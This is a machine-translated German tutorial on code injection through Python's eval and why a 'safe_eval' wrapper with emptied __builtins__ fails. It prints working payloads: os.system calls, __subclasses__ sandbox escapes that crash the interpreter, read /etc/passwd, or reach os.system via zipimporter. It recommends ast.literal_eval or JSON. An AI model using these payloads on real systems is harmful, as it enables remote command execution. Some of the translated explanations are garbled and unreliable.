Der Inhalt dieses Artikels ist eine Einführung in die allgemeinen Fehlerkapselungs- und Nutzungsprinzipien der Python-Bewertung. Ich hoffe, dass er für Sie hilfreich ist.
Kürzlich habe ich während des Codeüberprüfungsprozesses festgestellt, dass es viele falsche Verwendungen von eval gibt, die zu Code-Injection-Problemen führen. Ein typisches Beispiel ist die Verwendung von eval als Parsing-Diktat, andere verwenden es falsch Die Kapselung wird von allen Produkten verwendet, was zu schwerwiegenderen Problemen führt, daher sollte jeder bei der Verwendung mehr darauf achten.
Das Folgende ist ein Beispiel in einem tatsächlichen Produkt. Einzelheiten finden Sie unter [bug83055][1]:
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
Die Abfrage wird direkt vom POST konvertiert und kann direkt vom Benutzer gesteuert werden. Wenn der Benutzer oper_type=__import__('os').system('sleep 5') in den URL-Parameter eingibt, können Sie natürlich auch jeden Systembefehl oder jeden ausführbaren Code ausführen ist offensichtlich, also werfen wir einen Blick auf eval. Was genau macht es und wie macht man es sicher?
1. Was zu tun ist
Um es einfach auszudrücken: Es geht darum, einen Ausdruck auszuführen
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
Von diesen drei Codeteilen wird offensichtlich das erste zur Berechnung verwendet , und der zweite dient der Berechnung. Ein Datentyp, der Daten vom Typ String in Python konvertiert. Dies ist auch ein häufiger Fehler in unseren Produkten. Die dritte Möglichkeit besteht darin, was der böse Junge tut: Er führt Systembefehle aus.
eval akzeptiert drei Parameter: eval(source[, globals[, locals]]) -> value
globals müssen ein Pfad sein und locals müssen ein Schlüssel-Wert-Paar sein wird standardmäßig verwendet Systemglobale und lokale Werte
2, falsche Kapselung
(1) Schauen wir uns einen Abschnitt der Kapselungsfunktion in einem unserer Produktcodes an, siehe [bug][2] , oder die Netzwerksuche nach Codes mit höherem Rang, z. B.:
def safe_eval(eval_str): try: #加入命名空间 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
Hier ist __builtins__ auf leer gesetzt, sodass integrierte Variablen wie __import__ weg sind. Ist diese gekapselte Funktion sicher? Lassen Sie mich Schritt für Schritt vorgehen:
>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
Elemente auflisten
'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', ' ZeroDivisionError', '_', 'debug', 'doc', 'import', 'name', 'package', 'abs', 'all', 'any', 'apply', 'basestring', 'bin ' , 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format ', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', ' issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object ', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr ' , 'unicode', 'vars', 'xrange', 'zip']
Aus __builtins__ können Sie ersehen, dass es __import__ in seinem Modul gibt, das zum Ausführen einiger Betriebssystemoperationen verwendet werden kann. Wenn es auf leer gesetzt ist und dann die Auswertungsfunktion ausgeführt wird, ist das Ergebnis wie folgt:
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
Jetzt wird angezeigt, dass __import__ undefiniert ist und nicht erfolgreich ausgeführt werden kann. Die Antwort ist natürlich falsch.
Die Ausführung sieht beispielsweise wie folgt aus:
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
Hier definiert der Benutzer eine Funktion. Dieser Funktionsaufruf verursacht direkt einen Segfault
Der folgende Code verlässt den Interpreter:
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
Verschaffen wir uns ein vorläufiges Verständnis des gesamten Prozesses:
>>> ().__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
Die Bedeutung dieses Python-Codes besteht darin, die Klasse des Tupels zu finden, dann seine Basisklasse, also das Objekt, zu finden und dann zu finden seine Unterklasse durch Objekt, die spezifische Unterklasse ist auch die gleiche wie die Ausgabe im Code. Daraus können Sie erkennen, dass es ein Dateimodul und ein Zipimporter-Modul gibt. Können diese verwendet werden? Beginnen Sie zuerst mit der Datei
Wenn der Benutzer Folgendes erstellt:
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
Dieser eingeschränkte Modus wird einfach als Sandbox des Python-Interpreters verstanden. Einige Funktionen sind eingeschränkt, z. B. die Möglichkeit, das System nicht zu ändern oder verwenden Sie einige Systemfunktionen, z. B. Datei. Weitere Informationen finden Sie unter „Eingeschränkter Ausführungsmodus“. Zu diesem Zeitpunkt haben wir an zipimporter gedacht. Wenn das importierte Modul auf das Betriebssystemmodul verweist, können wir es wie den folgenden Code verwenden.
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
Dies beweist, dass die aktuelle Sicherheitsbewertung tatsächlich unsicher ist.
3, wie man
richtig verwendet (1) Verwenden Sie ast.literal_eval
(2) Wenn Sie nur Zeichen in Diktat konvertieren, können Sie das JSON-Format
verwendenDieser Artikel ist hier verfügbar. Weitere spannende Inhalte finden Sie in der Spalte Python-Video-Tutorial auf der chinesischen PHP-Website!
Das obige ist der detaillierte Inhalt vonEinführung in allgemeine Fehlerkapselungs- und Nutzungsprinzipien der Python-Bewertung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!